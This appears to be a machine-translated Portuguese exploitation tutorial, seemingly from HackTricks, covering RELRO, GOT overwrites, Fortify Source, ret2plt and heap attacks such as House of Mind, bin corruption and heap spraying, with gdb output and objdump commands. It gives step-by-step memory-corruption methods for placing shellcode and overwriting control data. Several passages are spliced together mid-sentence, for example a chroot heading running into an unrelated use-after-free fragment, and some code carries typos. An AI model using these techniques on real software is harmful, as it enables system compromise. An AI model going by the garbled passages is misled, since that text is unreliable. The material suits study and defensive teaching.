0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
  0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Para o binário sem relro, podemos ver que o endereço da entrada got para fgets é 0x404018. Olhando para os mapeamentos de memória, vemos que ele está entre 0x404000 e 0x405000, que tem as permissões rw, o que significa que podemos ler e escrever nele. Para o binário com relro, vemos que o endereço da tabela got para a execução do binário (pie está habilitado, então esse endereço mudará) é 0x555555557fd0. No mapeamento de memória desse binário, ele está entre 0x0000555555557000 e 0x0000555555558000, que tem a memória com a permissão r, o que significa que só podemos ler dele.

Então, qual é a maneira de contornar? O contorno típico que uso é simplesmente não escrever em regiões de memória que o relro faz ser somente leitura e encontrar uma maneira diferente de obter a execução de código.

Observe que, para que isso aconteça, o binário precisa saber antes da execução os endereços das funções:

  • Lazy binding: o endereço de uma função é procurado na primeira vez que a função é chamada. Portanto, a GOT precisa ter permissões de gravação durante a execução.
  • Bind now: os endereços das funções são resolvidos no início da execução e, em seguida, são dadas permissões somente leitura a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `**-z relro**y**-z now`**

Para verificar se um programa usa Bind now, você pode fazer:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Quando o binário é carregado na memória e uma função é chamada pela primeira vez, ele salta para a PLT (Procedure Linkage Table), daqui é feito um salto (jmp) para a GOT e descobre que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Então, invoca o Runtime Linker ou rtfd para resolver o endereço e salvá-lo na GOT.

Quando uma função é chamada, a PLT é chamada, ela tem o endereço da GOT onde o endereço da função é armazenado, então redireciona o fluxo para lá e assim a função é chamada. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, portanto, o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva na GOT e chama.

Ao carregar um binário na memória, o compilador disse em que offset deve colocar os dados que devem ser carregados quando o programa é executado.

Lazy binding -> O endereço da função é procurado na primeira vez que essa função é chamada, então a GOT tem permissões de gravação para que, quando procurada, seja salva lá e não precise ser procurada novamente.

Bind now -> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. -z relro e -z now

Apesar disso, em geral, os programas não são complicados com essas opções, então esses ataques ainda são possíveis.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Para saber se usam o BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 ou =2

Tenta identificar as funções que copiam de um lugar para outro de forma insegura e trocar a função por uma função segura.

Por exemplo:
char buf[16];
strcpy(but, source);

Identifica como inseguro e, em seguida, troca strcpy() por __strcpy_chk() usando o tamanho do buffer como tamanho máximo a ser copiado.

A diferença entre =1 ou =2 é que:

A segunda não permite que %n venha de uma seção com permissões de gravação. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode usar %3$d se antes tiver usado %2$d e %1$d

Para mostrar a mensagem de erro, usa-se o argv[0], então, se colocar nele o endereço de outro lugar (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191

Substituição do Libsafe

Ativado com: LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload

Intercepta as chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).

ASCII Armored Address Space

Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.

ret2plt

Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função para a qual se quer chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e copia-se o segundo byte de system()... No final, chama-se o endereço armazenado na GOT que será system()

Falso EBP

Para as funções que usam o EBP como registro para apontar para os argumentos ao modificar o EIP e apontar para system(), o EBP também deve ter sido modificado para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço a &”/bin/sh”.

Jaulas com chroot()

de No caso de querer reutilizá-lo, seria atribuído sem problemas. No caso de querer usar outro, seria atribuído o mesmo espaço, então teríamos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreveu.

After free()

Um ponteiro previamente liberado é usado novamente sem controle.

8 Heap Overflows: Exploits avançados

As técnicas Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().

The house of mind

Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. Interessa buscar um segundo pedaço que pode ser desbordado por um anterior e liberado.

Uma chamada a free() provoca chamar public_fREe(mem), este faz:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Devolve um ponteiro para o endereço onde começa o pedaço (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Em [1] verifica o campo size do bit NON_MAIN_ARENA, o qual pode ser alterado para que a verificação retorne verdadeiro e execute heap_for_ptr() que faz um and em "mem" deixando os 2,5 bytes menos importantes como 0 (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info).

Desta forma, se pudermos controlar um pedaço, por exemplo em 0x0804a000 e um pedaço em 0x081002a0 for liberado, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo 0x0804a000. Quando este segundo pedaço for liberado, encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado a 0x081002a0 o and que vimos antes e daí se obtém o valor dos 4 primeiros bytes, o ar_ptr).

Desta forma, chama-se _int_free(ar_ptr, mem), ou seja, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no pedaço que será liberado.

Tal como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Portanto, se escrevermos em av->bins[2] o valor de __DTOR_END__-12 na última instrução, será escrito em __DTOR_END__ o endereço do segundo pedaço.

Ou seja, no primeiro pedaço temos que colocar no início muitas vezes o endereço de __DTOR_END__-12 porque é de lá que av->bins[2] o extrairá.

No endereço em que o endereço do segundo pedaço cair com os últimos 5 zeros, deve-se escrever o endereço deste primeiro pedaço para que heap_for_ptr() pense que o ar_ptr está no início do primeiro pedaço e retire de lá o av->bins[2].

No segundo pedaço e graças ao primeiro, sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA.

A seguir, no pedaço 2, colocamos um monte de nops e, finalmente, a shellcode.

Desta forma, ch bin->bk = bck; O penúltimo pedaço se torna o último, caso bck aponte para a pilha no próximo pedaço reservado, ele receberá este endereço.

bck->fd = bin; A lista é fechada fazendo com que ela aponte para bin.

São necessários:

Dois mallocs devem ser reservados, de modo que o primeiro possa ser estourado depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, um malloc maior que o segundo pedaço deve ser reservado antes de estourar).

O malloc reservado para o qual o atacante escolheu o endereço deve ser controlado pelo atacante.

O objetivo é o seguinte: se pudermos estourar um heap que tenha um pedaço liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Se alterarmos seu ponteiro bk e esse pedaço se tornar o primeiro da lista de bin e for reservado, bin será enganado e será informado de que o último pedaço da lista (o próximo a ser oferecido) está no endereço falso que escolhemos (na pilha ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, ele receberá um pedaço na posição desejada e poderá escrever nela.

Depois de liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos unsorted bins e seja introduzido em seu bin.

Uma vez em seu bin, é hora de modificar seu ponteiro bk por meio do estouro para que ele aponte para o endereço que queremos sobrescrever.

Assim, o bin deve esperar sua vez até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane bin fazendo-o acreditar que o próximo pedaço está no endereço falso. E então o pedaço que nos interessa será dado.

Para que a vulnerabilidade seja executada o mais rápido possível, o ideal seria: reserva do pedaço vulnerável, reserva do pedaço que será modificado, este pedaço é liberado, um pedaço maior do que o que será modificado é reservado, o pedaço é modificado (vulnerabilidade), um pedaço do mesmo tamanho que o vulnerável é reservado e um segundo pedaço do mesmo tamanho é reservado e este será o que aponta para o endereço escolhido.

Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para victim. Ou seja, em nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço adequado o endereço de victim. Para que pareça um pedaço verdadeiro.

Corrupção LargeBin

São necessários os mesmos requisitos que antes e alguns mais, além disso, os pedaços reservados devem ser maiores que 512.

O ataque é como o anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas a malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.

Por exemplo, colocar em tamanho 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque um unsigned é comparado)

Além disso, um patch foi introduzido para torná-lo ainda mais complicado.

Heap Spraying

Basicamente, consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops terminados por uma shellcode. Além disso, como colchão, usa-se 0x0c. Pois tentaremos saltar para o endereço 0x0c0c0c0c, e assim, se algum ponteiro for sobrescrito e chamado com este colchão, ele saltará para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c esperando que haja nops lá.

Heap Feng Shui

Consiste em semear a memória por meio de reservas e liberações de forma que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um dos ovos.

objdump -d executable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Obter o endereço da função
objdump -d -Mintel ./shellcodeout —> Para ver se é realmente nossa shellcode e obter os OpCodes
objdump -t ./exec | grep varBss —> Tabela de símbolos, para obter o endereço de variáveis e funções
objdump -TR ./exec | grep exit(func lib) —> Para obter o endereço de funções de bibliotecas (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtém o endereço de puts a ser sobrescrito no GOT
objdump -D ./exec —> Disas ALL até as entradas da plt
objdump -p -/exec
Info functions strncmp —> Informações da função no gdb

Cursos interessantes

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥